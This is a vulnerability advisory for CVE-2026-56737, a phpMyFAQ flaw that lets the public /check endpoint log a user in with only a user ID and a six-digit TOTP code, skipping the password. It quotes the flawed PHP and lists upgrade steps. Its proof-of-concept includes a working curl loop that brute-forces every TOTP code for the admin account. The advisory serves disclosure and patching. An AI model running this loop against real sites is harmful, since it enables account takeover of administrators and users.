CVE-2026-56737: phpMyFAQ's two-factor authentication login bypasses the password factor
Summary The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }
$token = Filter::filterVar($request->request->get('token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTERVALIDATEINT);
if ($userId <= 0) { / ... / }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... }
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; }
There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fapendinguserid session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:
php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!isstring($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only }
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.
PoC Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).
bash No password required. Submit user-id + a 6-digit TOTP guess to /check. Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{httpcode} %{redirecturl}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
Other sources
phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/phpmyfaq/phpmyfaqto a version that resolves this vulnerability.Fixed in 4.1.6 - Upgrade
Upgrade
composer/thorsten/phpmyfaqto a version that resolves this vulnerability.Fixed in 4.1.6 - Upgrade
Upgrade
phpMyFAQto a version that resolves this vulnerability.Fixed in 4.1.6
Event History
Frequently Asked Questions
Which accounts are at risk?
Any account with two-factor authentication enabled is affected, including administrator accounts. Accounts without 2FA are not identified as affected by this flaw.
What does an attacker need to exploit the bypass?
The attacker needs the target account's numeric user ID and a valid six-digit TOTP code. They do not need to authenticate with the account password first, and the TOTP code may be brute-forced.
Are default deployments affected?
The issue is in the public two-factor authentication verification flow, so affected versions are exposed where 2FA-enabled accounts can be targeted through that flow. The provided information does not state that any special configuration beyond enabling 2FA is required.
What should be done if patching cannot happen immediately?
No official workaround is documented. Affected installations should upgrade to version 4.1.6 or later, which binds TOTP verification to a session created after successful password authentication and limits failed TOTP attempts.